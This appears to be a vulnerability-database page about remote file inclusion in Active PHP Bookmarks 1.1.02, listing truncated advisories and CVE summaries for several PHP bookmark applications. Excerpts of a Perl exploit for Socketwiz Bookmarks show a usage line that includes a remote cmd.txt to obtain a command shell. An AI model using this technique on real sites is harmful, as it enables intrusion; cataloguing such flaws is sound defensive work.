PT-2006-6801 · Active Php · Active Php Bookmarks

Name of the Vulnerable Software and Affected Versions: Active PHP Bookmarks version 1.1.02 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the APB SETTINGS'apb path' parameter in 1 apb common.php or 2 apb.php. However, it is noted that the PHP scripts exi...

Active PHP Bookmarks APB_SETTINGS['apb_path']远程文件包含漏洞

Active PHP Bookmarks一款基于php的WEB应用程序。 Active PHP Bookmarks不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'APBSETTINGS'apbpath''参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 lbstone Active PHP Bookmarks 1.1.2 http://lbstone.com/...

apb-rfi.txt

Title : Active PHP Bookmarks apb.php Remote file include Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://lbstone.com/apb/downloads/apb-1.1.02.zip Affected software description : Application : Active PHP...

Active PHP Bookmarks (apb.php) Remote file include

Title : Active PHP Bookmarks apb.php Remote file include Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://lbstone.com/apb/downloads/apb-1.1.02.zip Affected software description : Application : Active PHP...

Active PHP BookMarks 1.1.2 - Multiple Remote File Inclusions

Active PHP BookMarks 1.1.2 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/21263/info Active PHP Bookmarks application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may all...

Socketwiz Bookmarks <= 2.0 (root_dir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks = 2.0 rootdir Remote File Include Exploit + + + - Script name: Socketwiz Bookmarks v. 2.0 - Script site: http://www.hotscripts.pl/pobierz-2232.html + +...

Socketwiz BookMarks 2.0 - root_dir Remote File Inclusion

Socketwiz BookMarks 2.0 - rootdir Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks perl exploit.pl http://site.com/Socketwiz BookmarksPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcm...

Socketwiz BookMarks 2.0 - 'root_dir' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks perl exploit.pl http://site.com/Socketwiz BookmarksPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda =...

CVE-2003-1255

The vulnerability CVE-2003-1255 affects Active PHP Bookmarks (APB) 1.1.01, where add_bookmark.php allows remote attackers to add arbitrary bookmarks as other users by modifying the auth_user_id parameter. The issue arises from improper authorization checks during bookmark creation, enabling unaut...

CVE-2003-1255

addbookmark.php in Active PHP Bookmarks APB 1.1.01 allows remote attackers to add arbitrary bookmarks as other users using a modified authuserid parameter...

CVE-2003-1254

Active PHP Bookmarks APB 1.1.01 allows remote attackers to execute arbitrary PHP code via 1 head.php, 2 apbcommon.php, or 3 apbviewclass.php by modifying the APBSETTINGS parameter to reference a URL on a remote web server that contains the code...

CVE-2003-1254

APB 1.1.01 is affected by a remote PHP code execution vulnerability. An attacker can cause arbitrary code execution by altering the APB_SETTINGS parameter to point to a remote URL containing code, via files head.php , apb_common.php , or apb_view_class.php . The root cause is loading code from a ...

CVE-2003-1254: Undefined Security Weakness

Active PHP Bookmarks APB 1.1.01 allows remote attackers to execute arbitrary PHP code via 1 head.php, 2 apbcommon.php, or 3 apbviewclass.php by modifying the APBSETTINGS parameter to reference a URL on a remote web server that contains the code...

CVE-2003-1255: Undefined Security Weakness

addbookmark.php in Active PHP Bookmarks APB 1.1.01 allows remote attackers to add arbitrary bookmarks as other users using a modified authuserid parameter...

CVE-2004-2155

Online-bookmarks before 0.4.6 allows remote attackers to bypass its authentication mechanism via a direct request to 1 config/, 2 bookmarks.php, 3 footer.php, 4 main.php, 5 tree.php, or 6 functions.php...

CVE-2004-2155

CVE-2004-2155 affects Online-Bookmarks prior to 0.4.6. The vulnerability allows remote attackers to bypass authentication by issuing direct requests to (config/*, bookmarks.php, footer.php, main.php, tree.php, or functions.php). The issue is a direct authentication bypass without requiring user i...

CVE-2004-2155: Undefined Security Weakness

Online-bookmarks before 0.4.6 allows remote attackers to bypass its authentication mechanism via a direct request to 1 config/, 2 bookmarks.php, 3 footer.php, 4 main.php, 5 tree.php, or 6 functions.php...

CVE-2005-1631

booby.php in Booby 1.0.0 and earlier allows remote attackers to view private bookmarks by guessing item IDs...

CVE-2005-1631

Booby 1.0.0 (and earlier) is affected by an information-disclosure vulnerability: remote attackers can view private bookmarks by guessing item IDs. The root cause is external access to bookmark items through guessable identifiers, as described in CVE-2005-1631. The connected records repeat the sa...

CVE-2005-1631

booby.php in Booby 1.0.0 and earlier allows remote attackers to view private bookmarks by guessing item IDs...